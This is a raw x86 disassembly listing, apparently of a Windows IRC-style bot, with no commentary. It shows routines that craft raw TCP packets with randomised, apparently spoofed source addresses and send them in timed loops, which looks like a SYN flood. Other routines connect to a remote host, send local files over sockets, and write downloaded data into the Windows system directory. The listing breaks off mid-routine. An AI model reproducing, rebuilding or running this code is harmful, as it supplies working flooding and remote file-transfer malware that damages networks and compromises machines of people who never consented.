mov [ebp+var_4], ebx
loc_415900: ; CODE XREF: sub_4157BA+1C1j
mov eax, [ebp+arg_0]
mov [ebp+var_9C], 2
mov [ebp+var_98], eax
mov eax, [ebp+var_4]
lea edi, [ebp+eax+var_8C]
mov ax, word ptr [ebp+eax+var_8C]
push eax
call dword_4CB9D4 ; htons
push ebx
push 1
push 2
mov [ebp+var_9A], ax
call dword_4CBA54 ; socket
lea ecx, [ebp+var_1C]
mov [ebp+var_C], eax
push ecx
lea ecx, [ebp+var_9C]
push 10h
push ecx
push eax
call sub_4156D1
add esp, 10h
mov [ebp+var_8], eax
push [ebp+var_C]
call dword_4CBA6C ; closesocket
cmp [ebp+var_8], ebx
jnz short loc_415973
mov ecx, [ebp+var_4]
mov eax, [edi]
mov [ebp+ecx+var_10C], eax
loc_415973: ; CODE XREF: sub_4157BA+1ABj
add [ebp+var_4], 4
cmp [ebp+var_4], 70h
jl short loc_415900
mov edi, offset dword_4CF1F4
push offset asc_42CDC0 ; " "
push edi
call sub_41C266
pop ecx
pop ecx
call esi ; GetTickCount
mov [ebp+var_C], eax
lea eax, [ebp+var_10C]
mov [ebp+var_4], ebx
mov [ebp+var_8], eax
loc_4159A0: ; CODE XREF: sub_4157BA+23Cj
call esi ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_4159F8
mov eax, [ebp+var_8]
mov eax, [eax]
cmp eax, ebx
jz short loc_4159D1
push eax
push edi
push offset aSD ; "%s%d "
push edi
mov [ebp+var_10], eax
call sub_41C266
add esp, 10h
jmp short loc_4159EB
; ---------------------------------------------------------------------------
loc_4159D1: ; CODE XREF: sub_4157BA+200j
push 0FFFFh
push ebx
call sub_418BD1
pop ecx
pop ecx
push eax
call dword_4CB9D4 ; htons
movzx eax, ax
mov [ebp+var_10], eax
loc_4159EB: ; CODE XREF: sub_4157BA+215j
inc [ebp+var_4]
add [ebp+var_8], 4
cmp [ebp+var_4], 1Ch
jl short loc_4159A0
loc_4159F8: ; CODE XREF: sub_4157BA+1F7j
; sub_4157BA+477j
push 28h
push ebx
push offset byte_4CF190
call sub_41BF70
mov esi, 0FFFFh
mov byte_4CF190, 45h
push esi
push 400h
mov byte_4CF199, 6
mov byte_4CF191, 8
call sub_418BD1
add esp, 14h
push eax
call dword_4CB9D4 ; htons
push 28h
mov word_4CF194, ax
call dword_4CB9D4 ; htons
or byte_4CF198, 0FFh
cmp dword_4CF180, ebx
mov word_4CF192, ax
mov word_4CF196, bx
jnz short loc_415A78
push 0FFFEh
push 1
call sub_418BD1
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
shl eax, 10h
and ecx, esi
or eax, ecx
jmp short loc_415A83
; ---------------------------------------------------------------------------
loc_415A78: ; CODE XREF: sub_4157BA+2A2j
push offset dword_4CEB60
call dword_4CBA14 ; inet_addr
loc_415A83: ; CODE XREF: sub_4157BA+2BCj
mov dword_4CF19C, eax
mov eax, [ebp+arg_0]
push 4000h
mov dword_4CF1A0, eax
mov byte_4CF1B1, bl
call dword_4CB9D4 ; htons
push esi
push ebx
mov word_4CF1B2, ax
call sub_418BD1
mov edi, eax
push esi
push ebx
shl edi, 8
call sub_418BD1
add esp, 10h
add edi, eax
push edi
call dword_4CB9D0 ; htonl
mov dword_4CF1A8, eax
mov al, byte_4CF1B0
mov edi, [ebp+arg_0]
and al, 0Fh
or al, 50h
push 14h
mov byte_4CF1B0, al
mov ax, word ptr [ebp+var_10]
mov dword_4CF1AC, ebx
mov word_4CF1B6, bx
mov word_4CF1A6, ax
mov dword_4CF1CC, edi
mov byte_4CF1D0, bl
mov byte_4CF1D1, 6
call dword_4CB9D4 ; htons
mov word_4CF1D2, ax
mov ax, word_4CF1A6
mov word_4CF1B8, 2
mov dword_4CF1BC, edi
mov word_4CF1BA, ax
mov [ebp+var_4], ebx
jmp short loc_415B39
; ---------------------------------------------------------------------------
loc_415B34: ; CODE XREF: sub_4157BA+451j
mov esi, 0FFFFh
loc_415B39: ; CODE XREF: sub_4157BA+378j
cmp [ebp+var_4], ebx
jnz short loc_415B6D
push esi
push ebx
call sub_418BD1
pop ecx
pop ecx
push eax
call dword_4CB9D4 ; htons
mov word_4CF1A4, ax
mov eax, dword_4CF19C
mov dword_4CF1C8, eax
mov byte_4CF1B1, 2
mov dword_4CF1AC, ebx
jmp short loc_415B8C
; ---------------------------------------------------------------------------
loc_415B6D: ; CODE XREF: sub_4157BA+382j
push esi
push ebx
mov byte_4CF1B1, 10h
call sub_418BD1
pop ecx
pop ecx
push eax
call dword_4CB9D4 ; htons
movzx eax, ax
mov dword_4CF1AC, eax
loc_415B8C: ; CODE XREF: sub_4157BA+3B1j
inc word_4CF194
inc dword_4CF1A8
mov ax, word_4CF1A6
push 5
pop ecx
mov esi, offset word_4CF1A4
mov edi, offset dword_4CF1D4
mov word_4CF19A, bx
mov word_4CF1B4, bx
push 14h
rep movsd
mov esi, offset byte_4CF190
mov word_4CF1BA, ax
push esi
call sub_40AA5F
push 20h
push offset dword_4CF1C8
mov word_4CF19A, ax
call sub_40AA5F
add esp, 10h
mov word_4CF1B4, ax
push 10h
push offset word_4CF1B8
push ebx
push 28h
push esi
push dword_4CF1F0
call dword_4CBA38 ; sendto
inc [ebp+var_4]
cmp [ebp+var_4], 3FFh
jl loc_415B34
call ds:dword_4270B0 ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_415C36
push [ebp+arg_8]
call ds:dword_427080 ; Sleep
jmp loc_4159F8
; ---------------------------------------------------------------------------
loc_415C36: ; CODE XREF: sub_4157BA+46Cj
pop edi
pop esi
mov eax, offset dword_4CF1F4
pop ebx
leave
retn
sub_4157BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415C40 proc near ; CODE XREF: sub_401ACD+7111p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43DB90
mov edi, 0B8h
loc_415C54: ; CODE XREF: sub_415C40+33j
cmp byte ptr [esi], 0
jz short loc_415C77
push [ebp+arg_0]
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_415C77
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_43E710
jl short loc_415C54
jmp short loc_415CB9
; ---------------------------------------------------------------------------
loc_415C77: ; CODE XREF: sub_415C40+17j
; sub_415C40+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_43DB90[esi]
push ebx
call sub_41BF70
push 17h
push [ebp+arg_0]
push ebx
call sub_41BFD0
push 9Fh
lea eax, dword_43DBA8[esi]
push [ebp+arg_4]
push eax
call sub_41BFD0
add esp, 24h
inc dword_4294CC
pop ebx
loc_415CB9: ; CODE XREF: sub_415C40+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_415C40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415CC0 proc near ; CODE XREF: sub_401ACD+289Ap
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_437EF0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
xor edi, edi
mov esi, offset dword_43DB90
loc_415CEA: ; CODE XREF: sub_415CC0+72j
cmp byte ptr [esi], 0
jz short loc_415D25
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_437EDC
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41C360
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 2Ch
loc_415D25: ; CODE XREF: sub_415CC0+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_43E710
jl short loc_415CEA
pop edi
pop esi
leave
retn
sub_415CC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415D38 proc near ; CODE XREF: sub_401221+384p
; sub_401221+408p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call ds:dword_427140 ; GetLocalTime
mov ebx, offset dword_4D35F4
mov edi, 80h
mov esi, offset dword_4CF5F4
loc_415D5A: ; CODE XREF: sub_415D38+3Dj
cmp byte ptr [ebx], 0
jz short loc_415D71
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41BFD0
add esp, 0Ch
loc_415D71: ; CODE XREF: sub_415D38+25j
sub ebx, edi
cmp ebx, esi
jge short loc_415D5A
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41C360
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_415D38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415DAC proc near ; CODE XREF: sub_4017ED+F7p
; sub_401ACD:loc_408967p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41CB70
lea eax, [ebp+var_80]
push eax
call sub_415D38
add esp, 14h
leave
retn
sub_415DAC endp
; =============== S U B R O U T I N E =======================================
sub_415DD8 proc near ; CODE XREF: sub_401ACD+278Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4CF5F4
xor ecx, ecx
loc_415DDF: ; CODE XREF: sub_415DD8+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4D35F4
jl short loc_415DDF
cmp [esp+arg_C], ecx
jnz short loc_415E0D
push ecx
push [esp+4+arg_8]
push offset dword_437F3C
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_409869
add esp, 14h
loc_415E0D: ; CODE XREF: sub_415DD8+19j
push offset dword_437F28
call sub_415D38
pop ecx
retn
sub_415DD8 endp
; =============== S U B R O U T I N E =======================================
sub_415E19 proc near ; CODE XREF: .text:0040E1FFp
arg_0 = dword ptr 4
push esi
mov esi, offset dword_4CF5F4
loc_415E1F: ; CODE XREF: sub_415E19+27j
cmp byte ptr [esi], 0
jz short loc_415E34
push [esp+4+arg_0]
push esi
call sub_4185D3
pop ecx
test eax, eax
pop ecx
jnz short loc_415E46
loc_415E34: ; CODE XREF: sub_415E19+9j
add esi, 80h
cmp esi, offset dword_4D35F4
jl short loc_415E1F
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_415E46: ; CODE XREF: sub_415E19+19j
push 1
pop eax
pop esi
retn
sub_415E19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415E4B proc near ; DATA XREF: sub_401ACD+2844o
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp+var_10], edx
mov [ebp+var_8], 80h
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_415E9E
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset dword_437F6C
push eax
push [ebp+var_11C]
call sub_409869
add esp, 14h
loc_415E9E: ; CODE XREF: sub_415E4B+33j
cmp [ebp+var_98], 0
jz short loc_415EBE
lea eax, [ebp+var_98]
push eax
call sub_41C159
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_415EBE
mov [ebp+var_8], eax
loc_415EBE: ; CODE XREF: sub_415E4B+5Aj
; sub_415E4B+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_4CF5F4
loc_415EC7: ; CODE XREF: sub_415E4B+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_415F21
cmp byte ptr [esi], 0
jz short loc_415F10
cmp [ebp+var_98], 0
jz short loc_415EF6
cmp [ebp+var_4], 0
jnz short loc_415EF6
lea eax, [ebp+var_98]
push eax
push esi
call sub_4185D3
pop ecx
test eax, eax
pop ecx
jz short loc_415F10
loc_415EF6: ; CODE XREF: sub_415E4B+90j
; sub_415E4B+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_409869
add esp, 14h
loc_415F10: ; CODE XREF: sub_415E4B+87j
; sub_415E4B+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_4D35F4
jl short loc_415EC7
loc_415F21: ; CODE XREF: sub_415E4B+82j
lea eax, [ebp+var_31C]
push offset dword_437F50
push eax
call sub_41C266
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_415F5B
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_409869
add esp, 14h
loc_415F5B: ; CODE XREF: sub_415E4B+EEj
lea eax, [ebp+var_31C]
push eax
call sub_415D38
push [ebp+var_18]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_415E4B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F7A proc near ; CODE XREF: sub_416000+33p
; sub_416563+BCp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CBA54 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_415FF6
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CB9D4 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CBA14 ; inet_addr
cmp eax, esi
jnz short loc_415FDB
push [ebp+arg_0]
call dword_4CBA58 ; gethostbyname
test eax, eax
jz short loc_415FF6
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_415FDB: ; CODE XREF: sub_415F7A+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CB97C ; connect
cmp eax, esi
jnz short loc_415FFA
push edi
call dword_4CBA6C ; closesocket
loc_415FF6: ; CODE XREF: sub_415F7A+1Bj
; sub_415F7A+58j
mov eax, esi
jmp short loc_415FFC
; ---------------------------------------------------------------------------
loc_415FFA: ; CODE XREF: sub_415F7A+73j
mov eax, edi
loc_415FFC: ; CODE XREF: sub_415F7A+7Ej
pop edi
pop esi
leave
retn
sub_415F7A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416000 proc near ; DATA XREF: sub_401ACD+A02o
var_11B4 = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 11B4h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1B4]
rep movsd
push 1
pop esi
push [ebp+var_14]
mov [eax+1B0h], esi
lea eax, [ebp+var_1AC]
push eax
call sub_415F7A
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_416093
lea eax, [ebp+var_11B4]
push offset unk_437FEC
push eax
call sub_41C266
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_416076
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_409869
add esp, 14h
loc_416076: ; CODE XREF: sub_416000+59j
lea eax, [ebp+var_11B4]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
loc_416093: ; CODE XREF: sub_416000+3Fj
push offset byte_43DB88
push ebx
call sub_41A1B1
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_4160FE
lea eax, [ebp+var_11B4]
push offset unk_437FBC
push eax
call sub_41C266
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_4160DA
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_409869
add esp, 14h
loc_4160DA: ; CODE XREF: sub_416000+BDj
lea eax, [ebp+var_11B4]
push eax
call sub_415D38
pop ecx
push ebx
call dword_4CBA6C ; closesocket
push [ebp+var_10]
call sub_40B6D6
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
loc_4160FE: ; CODE XREF: sub_416000+A3j
push 64h
call ds:dword_427080 ; Sleep
xor edi, edi
mov esi, 1000h
loc_41610D: ; CODE XREF: sub_416000+168j
push esi
lea eax, [ebp+var_11B4]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_11B4]
push edi
push esi
push eax
push ebx
call dword_4CB9EC ; recv
test eax, eax
jle short loc_41616A
lea eax, [ebp+var_11B4]
push offset asc_42A080 ; "\n"
push eax
call sub_41C8A0
lea eax, [ebp+var_11B4]
push eax
call sub_419F9D
add esp, 0Ch
test eax, eax
jz short loc_41616A
push 64h
call ds:dword_427080 ; Sleep
push 0Ah
call sub_40B602
test eax, eax
pop ecx
jnz short loc_41610D
loc_41616A: ; CODE XREF: sub_416000+130j
; sub_416000+154j
lea eax, [ebp+var_11B4]
push offset unk_437F88
push eax
call sub_41C266
cmp [ebp+var_8], edi
pop ecx
pop ecx
jnz short loc_41619D
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_409869
add esp, 14h
loc_41619D: ; CODE XREF: sub_416000+180j
lea eax, [ebp+var_11B4]
push eax
call sub_415D38
pop ecx
push ebx
call dword_4CBA6C ; closesocket
push [ebp+var_10]
call sub_40B6D6
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
sub_416000 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4161C1 proc near ; DATA XREF: sub_401ACD+7696o
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_3FC = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1E0 = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp+var_10], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call dword_4CBA54 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_41620F
push offset unk_4380EC
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_41620F: ; CODE XREF: sub_4161C1+42j
push 10h
lea eax, [ebp+var_30]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_30], 2
push esi
call dword_4CB9D4 ; htons
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+var_30]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call dword_4CBA00 ; bind
test eax, eax
jz short loc_41624D
push offset unk_4380C8
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_41624D: ; CODE XREF: sub_4161C1+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_30]
push eax
push edi
call dword_4CB978 ; getsockname
push [ebp+var_2E]
call dword_4CB904 ; htons
mov [ebp+var_4], eax
lea eax, [ebp+var_1E0]
push eax
mov [ebp+arg_0], esi
call sub_41B9C0
pop ecx
loc_41627F: ; CODE XREF: sub_4161C1+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+var_1E0]
cmp al, 20h
jnz short loc_416292
push 5Fh
pop eax
jmp short loc_416295
; ---------------------------------------------------------------------------
loc_416292: ; CODE XREF: sub_4161C1+CAj
movsx eax, al
loc_416295: ; CODE XREF: sub_4161C1+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+var_1E0]
inc ecx
push eax
mov [ebp+arg_0], ecx
call sub_41B9C0
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_41627F
push ebx
push edi
call dword_4CB9FC ; listen
test eax, eax
jz short loc_4162C8
push offset unk_437FEC
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_4162C8: ; CODE XREF: sub_4161C1+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+var_1E0]
push 80000000h
push eax
call ds:dword_4270F8 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_4162F2
push offset unk_4380A8
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_4162F2: ; CODE XREF: sub_4161C1+125j
push esi
push eax
call ds:dword_427114 ; GetFileSize
mov [ebp+arg_0], eax
push eax
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_40AA06
pop ecx
push eax
call dword_4CBA14 ; inet_addr
push eax
call dword_4CB9D0 ; htonl
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset dword_438090
push eax
call sub_41C266
push esi
lea eax, [ebp+var_3FC]
push esi
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_409869
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call dword_4CB9BC ; select
test eax, eax
jg short loc_4163A2
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset dword_438078
push eax
push [ebp+var_1FC]
call sub_409869
jmp loc_4164C6
; ---------------------------------------------------------------------------
loc_4163A2: ; CODE XREF: sub_4161C1+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call dword_4CBA68 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_4163DB
push offset unk_438054
loc_4163C8: ; CODE XREF: sub_4161C1+49j
; sub_4161C1+87j ...
lea eax, [ebp+var_3FC]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_4164C9
; ---------------------------------------------------------------------------
loc_4163DB: ; CODE XREF: sub_4161C1+200j
push edi
call dword_4CBA6C ; closesocket
cmp [ebp+arg_0], esi
jz loc_41648D
mov edi, 400h
loc_4163F0: ; CODE XREF: sub_4161C1+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_4163FD
mov [ebp+var_4], eax
loc_4163FD: ; CODE XREF: sub_4161C1+237j
push edi
lea eax, [ebp+var_A04]
push esi
push eax
call sub_41BF70
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
call ds:dword_427128 ; SetFilePointer
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
call ds:dword_4270EC ; ReadFile
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call dword_4CBA24 ; send
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call dword_4CB9EC ; recv
cmp eax, ebx
jl loc_416522
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_416522
sub [ebp+arg_0], eax
jnz loc_4163F0
mov edi, [ebp+var_18]
loc_41648D: ; CODE XREF: sub_4161C1+224j
push [ebp+var_8]
call ds:dword_427070 ; CloseHandle
push [ebp+var_C]
push [ebp+var_10]
call sub_416CC9
pop ecx
pop ecx
push eax
push [ebp+var_44]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset unk_438028
push eax
call sub_41C266
loc_4164C6: ; CODE XREF: sub_4161C1+1DCj
add esp, 14h
loc_4164C9: ; CODE XREF: sub_4161C1+215j
cmp [ebp+var_50], esi
jnz short loc_4164EE
push esi
lea eax, [ebp+var_3FC]
push [ebp+var_54]
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_409869
add esp, 14h
loc_4164EE: ; CODE XREF: sub_4161C1+30Bj
lea eax, [ebp+var_3FC]
push eax
call sub_415D38
cmp edi, esi
pop ecx
jbe short loc_416506
push edi
call dword_4CBA6C ; closesocket
loc_416506: ; CODE XREF: sub_4161C1+33Cj
push [ebp+var_1F8]
call dword_4CBA6C ; closesocket
push [ebp+var_58]
call sub_40B6D6
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
loc_416522: ; CODE XREF: sub_4161C1+2AFj
; sub_4161C1+2BAj
push esi
mov esi, offset dword_438010
push [ebp+var_54]
lea eax, [ebp+var_DC]
push esi
push eax
push [ebp+var_1FC]
call sub_409869
push esi
call sub_415D38
add esp, 18h
push [ebp+var_1F8]
call dword_4CBA6C ; closesocket
push [ebp+var_58]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
sub_4161C1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416563 proc near ; DATA XREF: sub_401ACD+798o
var_14C4 = byte ptr -14C4h
var_4C4 = byte ptr -4C4h
var_2C4 = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp+var_8], ebx
mov [eax+1B0h], esi
lea eax, [ebp+var_2C4]
push 104h
push eax
call ds:dword_42707C ; GetSystemDirectoryA
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_2C4]
push offset aSS ; "%s%s"
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_2C4]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call ds:dword_4270F8 ; CreateFileA
cmp eax, 0FFFFFFFFh
jnz short loc_4165ED
push offset unk_43818C
jmp short loc_416633
; ---------------------------------------------------------------------------
loc_4165ED: ; CODE XREF: sub_416563+81j
push eax
call ds:dword_427070 ; CloseHandle
lea eax, [ebp+var_2C4]
push offset aAB ; "a+b"
push eax
call sub_41BEA2
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_416615
push offset unk_43815C
jmp short loc_416633
; ---------------------------------------------------------------------------
loc_416615: ; CODE XREF: sub_416563+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_415F7A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_416646
push offset unk_43813C
loc_416633: ; CODE XREF: sub_416563+88j
; sub_416563+B0j
lea eax, [ebp+var_4C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_416742
; ---------------------------------------------------------------------------
loc_416646: ; CODE XREF: sub_416563+C9j
mov esi, 1000h
loc_41664B: ; CODE XREF: sub_416563+14Ej
push esi
lea eax, [ebp+var_14C4]
